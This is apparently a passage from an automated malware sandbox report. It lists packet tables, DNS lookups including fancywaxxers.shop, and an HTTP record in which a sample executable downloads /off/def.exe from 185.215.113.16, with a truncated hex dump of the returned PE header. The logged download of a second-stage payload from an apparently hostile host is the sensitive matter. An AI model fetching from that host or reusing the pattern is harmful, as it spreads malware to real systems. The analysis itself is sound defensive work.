Dec 31, 2024 09:48:45.969455004 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.969465971 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.969475985 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.969485044 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.969494104 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.969494104 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.969494104 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.969505072 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.969515085 CET	80	49716	185.215.113.16	192.168.2.5
Dec 31, 2024 09:48:45.969552994 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.969552994 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:45.999361992 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:46.007217884 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:48:56.286371946 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:56.286396027 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:56.286456108 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:56.286726952 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:56.286736012 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:56.692420006 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:48:56.692464113 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:48:56.692538023 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:48:56.692781925 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:48:56.692797899 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:48:56.933022976 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:56.934885025 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:56.934892893 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:56.936584949 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:56.936642885 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:56.939834118 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:56.939920902 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:56.940165997 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:56.940171957 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.041371107 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.049231052 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.049252987 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.049259901 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.049316883 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.049338102 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.049432993 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.049468040 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.049477100 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.049498081 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.049498081 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.049525976 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.127095938 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.127105951 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.127197981 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.127218008 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.127250910 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.127264023 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.127290964 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.127310991 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.134542942 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.134562969 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.134634972 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.134643078 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.134685040 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.214121103 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.214144945 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.214194059 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.214211941 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.214226007 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.214262962 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.215585947 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.215603113 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.215670109 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.215677977 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.215733051 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.217294931 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.217320919 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.217361927 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.217370987 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.217411041 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.221326113 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.221345901 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.221398115 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.221410990 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.221458912 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.301398993 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.301430941 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.301553011 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.301553011 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.301570892 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.301723003 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.301743984 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.301753998 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.301762104 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.301784039 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.301853895 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.302733898 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.302752018 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.302834988 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.302843094 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.302974939 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.303613901 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.303631067 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.303720951 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.303730965 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.303771973 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.304584026 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.304605007 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.304681063 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.304688931 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.304981947 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.305422068 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.305468082 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.305501938 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.305550098 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.305550098 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.305845022 CET	49819	443	192.168.2.5	13.107.246.44
Dec 31, 2024 09:48:57.305861950 CET	443	49819	13.107.246.44	192.168.2.5
Dec 31, 2024 09:48:57.324239969 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:48:57.324575901 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:48:57.324603081 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:48:57.325634956 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:48:57.325709105 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:48:57.327192068 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:48:57.327269077 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:48:57.447513103 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:48:57.447540998 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:48:57.629839897 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:48:59.702558994 CET	49716	80	192.168.2.5	185.215.113.16
Dec 31, 2024 09:49:07.237111092 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:49:07.237186909 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:49:07.237255096 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:49:07.312553883 CET	49820	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:49:07.312594891 CET	443	49820	142.250.186.164	192.168.2.5
Dec 31, 2024 09:49:56.743227005 CET	50094	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:49:56.743283033 CET	443	50094	142.250.186.164	192.168.2.5
Dec 31, 2024 09:49:56.743369102 CET	50094	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:49:56.743626118 CET	50094	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:49:56.743639946 CET	443	50094	142.250.186.164	192.168.2.5
Dec 31, 2024 09:49:57.470992088 CET	443	50094	142.250.186.164	192.168.2.5
Dec 31, 2024 09:49:57.471604109 CET	50094	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:49:57.471628904 CET	443	50094	142.250.186.164	192.168.2.5
Dec 31, 2024 09:49:57.471961975 CET	443	50094	142.250.186.164	192.168.2.5
Dec 31, 2024 09:49:57.472301960 CET	50094	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:49:57.472366095 CET	443	50094	142.250.186.164	192.168.2.5
Dec 31, 2024 09:49:57.523149014 CET	50094	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:50:07.368444920 CET	443	50094	142.250.186.164	192.168.2.5
Dec 31, 2024 09:50:07.368565083 CET	443	50094	142.250.186.164	192.168.2.5
Dec 31, 2024 09:50:07.368623018 CET	50094	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:50:08.635828018 CET	50094	443	192.168.2.5	142.250.186.164
Dec 31, 2024 09:50:08.635869980 CET	443	50094	142.250.186.164	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:48:26.389002085 CET	63174	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:48:26.401918888 CET	53	63174	1.1.1.1	192.168.2.5
Dec 31, 2024 09:48:52.285787106 CET	53	51717	1.1.1.1	192.168.2.5
Dec 31, 2024 09:48:52.398529053 CET	53	58678	1.1.1.1	192.168.2.5
Dec 31, 2024 09:48:53.589755058 CET	53	63502	1.1.1.1	192.168.2.5
Dec 31, 2024 09:48:56.278521061 CET	56424	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:48:56.278759003 CET	58000	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:48:56.684391022 CET	54259	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:48:56.684617996 CET	51418	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:48:56.691101074 CET	53	54259	1.1.1.1	192.168.2.5
Dec 31, 2024 09:48:56.691626072 CET	53	51418	1.1.1.1	192.168.2.5
Dec 31, 2024 09:48:57.314363956 CET	63736	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:48:57.314503908 CET	65145	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:49:00.386975050 CET	53	63120	1.1.1.1	192.168.2.5
Dec 31, 2024 09:49:01.291306019 CET	53011	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:49:01.291625023 CET	63081	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:49:10.718822956 CET	53	57199	1.1.1.1	192.168.2.5
Dec 31, 2024 09:49:29.469819069 CET	53	58647	1.1.1.1	192.168.2.5
Dec 31, 2024 09:49:51.986396074 CET	53	64125	1.1.1.1	192.168.2.5
Dec 31, 2024 09:49:52.437892914 CET	53	64647	1.1.1.1	192.168.2.5
Dec 31, 2024 09:50:01.289738894 CET	58971	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:50:01.289930105 CET	62424	53	192.168.2.5	1.1.1.1
Dec 31, 2024 09:50:22.428801060 CET	53	63145	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 09:48:26.389002085 CET	192.168.2.5	1.1.1.1	0x1479	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:56.278521061 CET	192.168.2.5	1.1.1.1	0x8fe9	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:56.278759003 CET	192.168.2.5	1.1.1.1	0x66ae	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 31, 2024 09:48:56.684391022 CET	192.168.2.5	1.1.1.1	0xedf0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:56.684617996 CET	192.168.2.5	1.1.1.1	0xef9d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 31, 2024 09:48:57.314363956 CET	192.168.2.5	1.1.1.1	0xa72f	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:57.314503908 CET	192.168.2.5	1.1.1.1	0xfb40	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 31, 2024 09:49:01.291306019 CET	192.168.2.5	1.1.1.1	0x6112	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:49:01.291625023 CET	192.168.2.5	1.1.1.1	0x6ec3	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false
Dec 31, 2024 09:50:01.289738894 CET	192.168.2.5	1.1.1.1	0x2998	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:50:01.289930105 CET	192.168.2.5	1.1.1.1	0x78c3	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 09:48:26.401918888 CET	1.1.1.1	192.168.2.5	0x1479	No error (0)	fancywaxxers.shop		104.21.64.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:26.401918888 CET	1.1.1.1	192.168.2.5	0x1479	No error (0)	fancywaxxers.shop		104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:26.401918888 CET	1.1.1.1	192.168.2.5	0x1479	No error (0)	fancywaxxers.shop		104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:26.401918888 CET	1.1.1.1	192.168.2.5	0x1479	No error (0)	fancywaxxers.shop		104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:26.401918888 CET	1.1.1.1	192.168.2.5	0x1479	No error (0)	fancywaxxers.shop		104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:26.401918888 CET	1.1.1.1	192.168.2.5	0x1479	No error (0)	fancywaxxers.shop		104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:26.401918888 CET	1.1.1.1	192.168.2.5	0x1479	No error (0)	fancywaxxers.shop		104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:56.283813953 CET	1.1.1.1	192.168.2.5	0x335c	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:56.283813953 CET	1.1.1.1	192.168.2.5	0x335c	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:56.283813953 CET	1.1.1.1	192.168.2.5	0x335c	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:56.284161091 CET	1.1.1.1	192.168.2.5	0x363	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:56.285249949 CET	1.1.1.1	192.168.2.5	0x8fe9	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:56.285249949 CET	1.1.1.1	192.168.2.5	0x8fe9	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:56.285249949 CET	1.1.1.1	192.168.2.5	0x8fe9	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:56.285249949 CET	1.1.1.1	192.168.2.5	0x8fe9	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:56.285907030 CET	1.1.1.1	192.168.2.5	0x66ae	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:56.285907030 CET	1.1.1.1	192.168.2.5	0x66ae	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:56.691101074 CET	1.1.1.1	192.168.2.5	0xedf0	No error (0)	www.google.com		142.250.186.164	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:56.691626072 CET	1.1.1.1	192.168.2.5	0xef9d	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 31, 2024 09:48:57.275155067 CET	1.1.1.1	192.168.2.5	0xa2e0	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:57.284604073 CET	1.1.1.1	192.168.2.5	0xd3a9	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:57.284604073 CET	1.1.1.1	192.168.2.5	0xd3a9	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:57.284604073 CET	1.1.1.1	192.168.2.5	0xd3a9	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:48:57.321506023 CET	1.1.1.1	192.168.2.5	0xfb40	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:57.321506023 CET	1.1.1.1	192.168.2.5	0xfb40	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:57.321624041 CET	1.1.1.1	192.168.2.5	0xa72f	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:57.321624041 CET	1.1.1.1	192.168.2.5	0xa72f	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:57.321624041 CET	1.1.1.1	192.168.2.5	0xa72f	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:48:57.321624041 CET	1.1.1.1	192.168.2.5	0xa72f	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:49:01.300609112 CET	1.1.1.1	192.168.2.5	0x6112	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:49:01.300656080 CET	1.1.1.1	192.168.2.5	0x6ec3	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:49:02.507498980 CET	1.1.1.1	192.168.2.5	0x2653	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:49:02.509974957 CET	1.1.1.1	192.168.2.5	0x1ccd	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:49:05.266932964 CET	1.1.1.1	192.168.2.5	0xb8d2	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:49:05.269597054 CET	1.1.1.1	192.168.2.5	0x89b3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:50:01.298966885 CET	1.1.1.1	192.168.2.5	0x78c3	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 31, 2024 09:50:01.302438974 CET	1.1.1.1	192.168.2.5	0x2998	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

https:

js.monitor.azure.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49716	185.215.113.16	80	6536	C:\Users\user\Desktop\bzzF5OFbVi.exe

Timestamp	Bytes transferred	Direction	Data
Dec 31, 2024 09:48:41.163539886 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 31, 2024 09:48:41.874089956 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 31 Dec 2024 08:48:40 GMT Content-Type: application/octet-stream Content-Length: 2880000 Last-Modified: Tue, 31 Dec 2024 08:35:23 GMT Connection: keep-alive ETag: "6773accb-2bf200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2c 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2c 00 00 04 00 00 9e 9c 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@, `@ ,,`Ui`D @ @ @.rsrcD``@.idata f@mgmbhmys+d+h@ctyuxutw ,+@.taggant@@,"+@
Dec 31, 2024 09:48:41.874110937 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:48:41.874130011 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:48:41.874201059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:48:41.874221087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:48:41.874239922 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 31, 2024 09:48:41.874258041 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
